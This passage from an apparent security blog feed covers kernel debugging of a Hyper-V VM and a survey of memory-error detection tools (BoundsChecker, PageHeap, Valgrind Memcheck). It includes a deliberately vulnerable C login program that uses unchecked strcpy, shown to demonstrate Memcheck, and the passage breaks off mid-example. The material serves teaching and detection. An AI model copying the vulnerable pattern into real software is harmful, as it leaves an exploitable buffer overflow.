bcdedit /dbgsettings serial debugport:2 baudrate:115200</code></pre><p>Here debugport 2 represent COM 2 serial port.</p><h2 id="stage-3-attaching-windbg-to-remote-vm-for-kernel-debugging">Stage 3: Attaching windbg to remote VM for kernel debugging</h2><p>Start windbg as administrator. Goto <code>File-&gt; Start Debugging -&gt; Attach to kernel</code></p><p>Here, select COM tab and put the named pipe created earlier on Port field and press enter.</p><figure class="kg-card kg-image-card"><img src="http://nixhacker.com/content/images/2024/04/Screenshot-2024-04-27-010009.png" class="kg-image" alt="Remote Kernel Debugging   Windows virtual machine (Generation 2) using Serial COM running inside Hyper-v" loading="lazy" width="1322" height="998" srcset="http://nixhacker.com/content/images/size/w600/2024/04/Screenshot-2024-04-27-010009.png 600w, http://nixhacker.com/content/images/size/w1000/2024/04/Screenshot-2024-04-27-010009.png 1000w, http://nixhacker.com/content/images/2024/04/Screenshot-2024-04-27-010009.png 1322w" sizes="(min-width: 720px) 720px"></figure><p>You you would be promt with debugging session for that particular guest machine.</p>]]></content:encoded></item><item><title><![CDATA[Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4]]></title><description><![CDATA[This article series is a technical dive into the evaluation of these memory corruption mitigations. This part is focus on memory error detection tools introduced over years.]]></description><link>http://nixhacker.com/nostalgic-memory-part-4/</link><guid isPermaLink="false">6599b38412c6400b4449a087</guid><category><![CDATA[Exploit Development]]></category><category><![CDATA[Analysis]]></category><category><![CDATA[Security]]></category><category><![CDATA[Linux]]></category><category><![CDATA[Windows OS]]></category><dc:creator><![CDATA[Shubham Dubey]]></dc:creator><pubDate>Sat, 06 Jan 2024 20:32:57 GMT</pubDate><media:content url="http://nixhacker.com/content/images/2024/01/rsz_rubens-phaeton-11920x0-1.jpg" medium="image"/><content:encoded><![CDATA[<img src="http://nixhacker.com/content/images/2024/01/rsz_rubens-phaeton-11920x0-1.jpg" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4"><p>In this concluding section, we will explore tools (and few techniques) that have been specifically designed to improve the detection of memory errors in development or testing settings. While these tools often incur a significant performance overhead, they are not commonly utilized in production environments. However, they possess the full capacity to prevent memory corruption, similar to the techniques we have previously discussed in the first and second generation mitigations.</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/ikC24UhD7Y5RuPCFnAf1Aio3EsNgXGhw1sQnOreApkeJGGeBgwbd8EgNgaK9SOTjhcaQGpe8mZU_1iC86eBVgK8x5WjumTgZghRtz8lq0yCjSGRhXSpFuEMeyeMA9IX-o-1H7sRnrSfpLDHpJGJV4lY" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="336"></figure><h3 id="boundschecker">BoundsChecker</h3><p>Around 1991 NuMega corp released a Memory leaks detection suite that is capable of detecting many kinds of array and buffer overrun conditions. Currently the tool is supported as part of Visual Studio in the form of Devpartner studio.</p><p>DevPartner suite has Error Detection functionality helps you find memory corruption problems caused by one of the following types of problems:</p><ul><li>Overrun allocated buffers (Buffer overflow)</li><li>Continued access to memory after it has been deallocated (Use after free)</li><li>Deallocating a resource multiple times (Double free)</li></ul><p>The works by conducting instrumentation to effectively track memory usage and validate API calls. Unfortunately, the source code for this suite is not accessible, and due to its limited popularity, I made the decision to refrain from further exploration.</p><h5 id="limitations-of-boundchecker">Limitations of BoundChecker</h5><p>Due to the proprietary nature of Boundschecker, it has not been implemented anywhere and has not gained much popularity.</p><p>Because of its extensive instrumentation and runtime memory tracking, it is not utilized in production but rather serves as a testing suite during application development phases.</p><p>Furthermore, the tool has not been maintained for several years.</p><p><br></p><h3 id="pageheap">PageHeap</h3><p>Sometime around 199X, Windows has added a feature of pageheap in WDK suite to monitor heap allocation and detect any access overruns in heap. PageHeap was present in GFlags, the Global Flags Editor, that is use to enable and disable advanced debugging, diagnostic, and troubleshooting features.</p><p>PageHeap has a very straightforward implementation. When a process is started with GFlag, each heap allocationcan be either writes fill patterns at the end of each heap allocation and examines the patterns when the allocations are freed, or it places an inaccessible page at the end of each allocation so that the program stops immediately if it accesses memory beyond the allocation.</p><p>Using PageHeap:</p><ul><li>To enable standard page heap verification for all processes, use <em><code>gflags /r +hpa</code></em> or <em><code>gflags /k +hpa</code></em>.</li><li>To enable standard page heap verification for one process, use <em><code>gflags /p /enable ImageFileName</code></em>.</li><li>To enable full page heap verification for one process, use <em><code>gflags /i ImageFileName +hpa</code></em> or <code>gflags /p /enable ImageFileName /full</code>.</li></ul><p>TODO: Add PageHeap in action section</p><p></p><h3 id="memcheck-valgrind">Memcheck (Valgrind)</h3><p>Memcheck is a module in Valgrind project added in 2003. The whole Valgrind project uses dynamic memory instrumentation to work, so does memcheck.By employing memcheck, all memory reads and writes undergo thorough examination, and calls to malloc/new/free/delete are closely monitored. Consequently, Memcheck has the capability to identify various issues:</p><ul><li>Use of uninitialised memory</li><li>Reading/writing memory after it has been free&apos;d</li><li>Reading/writing off the end of malloc&apos;d blocks</li><li>Reading/writing inappropriate areas on the stack</li><li>Memory leaks - where pointers to malloc&apos;d blocks are lost forever</li><li>Mismatched use of malloc/new/new [] vs free/delete/delete []</li><li>Overlapping src and dst pointers in memcpy() and related functions</li></ul><h5 id="technical-details">Technical details<br><br></h5><p>Memcheck performs four kinds of memory error checking.</p><ul><li>First, it tracks the addressability of every byte of memory, updating the information as memory is allocated and freed. With this information, it can detect all accesses to unaddressable memory.</li><li>Second, it tracks all heap blocks allocated with <em>malloc</em>(), <em>new </em>and <em>new[]</em>. With this information it can detect bad or repeated frees of heap blocks, and can detect memory leaks at program termination.</li><li>Third, it checks that memory blocks supplied as arguments to functions like <em>strcpy</em>() and <em>memcpy</em>() do not overlap. This does not require any additional state to be tracked.</li><li>Fourth, it performs definedness checking: it tracks the definedness of every bit of data in registers and memory. With this information it can detect undefined value errors with bit precision.</li></ul><p>Memcheck uses something called shadow memory to keep track of addressability of process original memory. The Valgrind framework intercepts function and system calls which cause usable address ranges to appear/disappear. Memcheck is notified of such events and marks shadow memory appropriately. For example, malloc and mmap bring new addresses into play: <em>mmap </em>makes memory addressable and defined, whilst malloc makes memory addressable but undefined. Similarly, whenever the stack grows, the newly exposed area is marked as addressable but undefined. Whenever memory is deallocated, the deallocated area also has its values all marked as undefined. Memcheck also uses such events to update its maps of which address ranges are legitimately addressable. By doing that it can detect accesses to invalid addresses, and so report to the user problems such as buffer overruns, use of freed memory, and accesses below the stack pointer.</p><p>Moreover, It normally uses 2 bits of shadow memory(explained in detail in next section) per byte of application memory; the shadow for every byte has 4 states: addressable and initialized, not addressable, address-able but uninitialized, addressable and partially initialized. If the byte is partially initialized then the tool maintains a second layer of shadow, this time with bit-to-bit mapping.</p><p>The most complex part of Memcheck working is the definedness feature. The basic idea underlying the definedness checking is as follows.</p><p>&#x2022; Every single bit of data, b, maintained by a program, in both registers and memory, is shadowed</p><p>The first three checks are done using instrumentation by a piece of metadata, called a definedness bit. For historical reasons these are often also referred to as V bits (V being short for &#x201C;validity&#x201D;). Each V bit indicates whether or not the bit shadows is regarded as currently having a properly defined value.</p><p>Every single operation that creates a value is shadowed by a shadow operation that computes the V bits of any outputs, based on the V bits of all inputs and the operation. The exact operations performed by this shadow computation are important, as they must be sufficiently fast to be practical, and sufficiently accurate to not cause many false positives.</p><p>&#x2022; Every operation that uses a value in such a way that it could affect the observable behavior of a program is checked. If the V bits indicate that any of the operation&#x2019;s inputs are undefined, an error message is issued. The V bits are used to detect if any of the following depend on undefined values: control flow transfers, conditional moves, addresses used in memory accesses, and data passed to system calls.</p><p>A V bit of zero indicates that the corresponding data bit has a properly defined value, and a V bit of one indicates that it does not. Every 32-bit general purpose register is shadowed by a 32-bit shadow register, and every byte of memory has a shadow V byte.</p><h5 id="memcheck-in-action">Memcheck in action</h5><p>Let&#x2019;s run the <em>classic_overflow </em>program under with valgrind:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;stdio.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fc9b9b;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">#include &lt;string.h&gt;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">main</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> argc, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> *argv[])</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">{</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">char</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> password[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">64</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">];</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">strcpy</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(password, argv[</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">1</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">]);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">if</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> (</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">strcmp</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(password, </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;secret&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">) == </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">)</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Sucessfully login\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; }</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">else</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; {</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">printf</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#a2fca2;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&quot;Password doesn&apos;t match. Unanble to login.\n&quot;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">);</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; }</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; &#xA0; &#xA0; </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">return</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">0</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">;</span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:11pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">}</span></p></td></tr></tbody></table><!--kg-card-end: html--><p><br></p><p>Output:</p><figure class="kg-card kg-image-card"><img src="https://lh7-us.googleusercontent.com/lvSZAaomzh_tsuE-0lWs4cyF30uwKjEe52TkRbkqaVkDcCfxAvGG70wMYVpZN9f7fXnfuWILgsFpzjpRYaG33HSB1bVbKXY8k_7nRTvkMmYMGo4tmlUUsnVIqhZLToodjHWy8cNH-jJ3ArVWtlRA_xI" class="kg-image" alt="Nostalgic memory - An attempt to understand the evolution of memory corruption mitigations - Part 4" loading="lazy" width="624" height="360"></figure><p>In the output, you will observe that memcheck is able to detect an overflow scenario and display the stack data for the purpose of debugging.</p><h5 id="limitations-of-memcheck">Limitations of MemCheck</h5><p>Due to the definedness feature and extensive instrumentation, running the program with memcheck can result in a slowdown of up to 40%. Additionally, the memory usage is doubled due to the inclusion of shadow bytes. As a result, memcheck is typically only used in a testing environment to identify bugs in the application. These tools are commonly employed to either track down specific bugs or confirm the absence of any hidden bugs (which can be detected by Memcheck) in the code.</p><p>In addition to the performance penalty, an important limitation of Memcheck is its inability to detect all cases of bounds errors in the use of static or stack-allocated data. The following code will pass the Memcheck tool in Valgrind without incident, despite containing the errors described in the comments:</p><!--kg-card-begin: html--><table style="border:none;border-collapse:collapse;"><colgroup></colgroup><tbody><tr style="height:0pt"><td style="vertical-align:top;background-color:#333333;padding:5pt 5pt 5pt 5pt;overflow:hidden;overflow-wrap:break-word;"><p dir="ltr" style="line-height:1.38;margin-top:0pt;margin-bottom:0pt;"><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> Static[</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">];</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffaa;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">func</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">(</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">void</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">)</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; {</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">&#xA0; &#xA0; </span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#fcc28c;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">int</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"> Stack[</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#d36363;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">5</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;">];</span><span style="font-size:10pt;font-family:Consolas,sans-serif;color:#ffffff;background-color:#333333;font-weight:400;font-style:normal;font-variant:normal;text-decoration:none;vertical-align:baseline;white-space:pre;white-space:pre-wrap;"><br></span><span 